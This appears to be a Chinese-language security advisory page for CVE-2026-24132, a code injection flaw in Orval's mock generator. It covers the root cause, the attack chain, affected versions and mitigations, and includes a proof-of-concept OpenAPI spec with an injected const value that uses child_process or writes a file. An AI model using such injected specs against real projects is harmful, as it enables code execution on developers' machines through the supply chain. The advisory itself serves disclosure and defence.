IPBUF安全漏洞报告
English
CVE-2026-24132 CVSS 9.8 严重

CVE-2026-24132 Orval代码注入漏洞

披露日期: 2026-01-23

漏洞信息

漏洞编号
CVE-2026-24132
漏洞类型
代码注入/远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Orval

相关标签

代码注入远程代码执行OrvalOpenAPITypeScriptMock注入供应链安全CVE-2026-24132

漏洞概述

CVE-2026-24132是Orval项目中的一个严重代码注入漏洞。Orval是一个用于从OpenAPI v3或Swagger v2规范生成类型安全JavaScript/TypeScript客户端的工具。该漏洞影响7.19.0及以下版本和8.0.0-rc.0至8.0.2版本。攻击者可以通过构造恶意的OpenAPI规范文件,利用schema属性中的const关键字注入任意TypeScript/JavaScript代码到生成的mock文件中。这些恶意代码会被插入到接口定义和faker/MSW处理器中,导致远程代码执行风险。由于Orval在生成客户端代码时直接使用用户提供的const值而未进行适当的转义或类型安全序列化,攻击者可以绕过安全限制,在受害者构建或测试项目时执行恶意代码。此漏洞与之前报告的enum x-enumDescriptions漏洞(GHSA-h526-wf6g-67jv)影响类似,但作用于faker-based mock生成器的不同代码路径。

技术细节

漏洞根源在于Orval的mock scalar生成器(packages/mock/src/faker/getters/scalar.ts中的getMockScalar函数)。当处理OpenAPI规范中的schema属性时,代码直接使用const关键字定义的值进行字符串插值,生成TypeScript mock代码。攻击者可以在OpenAPI规范的schema中构造如下恶意const值:const: "test; require('child_process').exec('malicious_command')" 当Orval处理此规范生成mock文件时,这个恶意代码会被直接嵌入到生成的TypeScript代码中。在项目构建、测试或开发服务器启动时,这些恶意代码会被Node.js解释器执行,从而实现远程代码执行。攻击成功的关键在于Orval缺乏对const值的输入验证和输出编码,导致用户控制的字符串被直接注入到代码生成流程中。

攻击链分析

STEP 1
步骤1
攻击者创建恶意OpenAPI规范文件,在schema的const属性中注入恶意TypeScript/JavaScript代码
STEP 2
步骤2
受害者使用Orval工具处理该恶意OpenAPI规范,生成type-safe客户端代码和mock文件
STEP 3
步骤3
Orval的getMockScalar函数直接使用恶意const值进行字符串插值,未进行转义或安全检查
STEP 4
步骤4
生成的mock文件中包含注入的恶意代码,位于接口定义和faker/MSW处理器中
STEP 5
步骤5
受害者在项目构建、测试或开发过程中导入生成的代码,Node.js执行恶意代码
STEP 6
步骤6
攻击者实现远程代码执行,可以读取敏感文件、窃取数据或执行系统命令

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Malicious OpenAPI specification to exploit CVE-2026-24132 const maliciousSpec = { openapi: '3.0.0', info: { title: 'Malicious API', version: '1.0.0' }, paths: { '/test': { get: { responses: { '200': { description: 'Success', content: { 'application/json': { schema: { type: 'object', properties: { id: { type: 'integer', // Malicious const value for code injection const: '1; const fs = require("fs"); fs.writeFileSync("/tmp/pwned", "RCE");' } } } } } } } } } } }; // Usage with Orval: // 1. Save the malicious spec as malicious.yaml // 2. Run: orval --input malicious.yaml --output ./generated // 3. The generated mock files will contain the injected code // 4. Any process importing/running the generated mock will execute the injected JavaScript

影响范围

Orval < 7.20.0
Orval 8.0.0-rc.0 - 8.0.2

防御指南

临时缓解措施
如果无法立即升级,可以采取以下临时缓解措施:1) 仔细审查所有使用的OpenAPI规范文件,确保其中不包含恶意的const值;2) 在Orval生成的代码上运行静态分析工具,检测潜在的代码注入;3) 限制Orval处理来自不可信来源的规范文件;4) 在Node.js环境中启用严格模式和安全策略以减少代码执行风险;5) 监控项目依赖的变化,及时发现异常代码变更。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表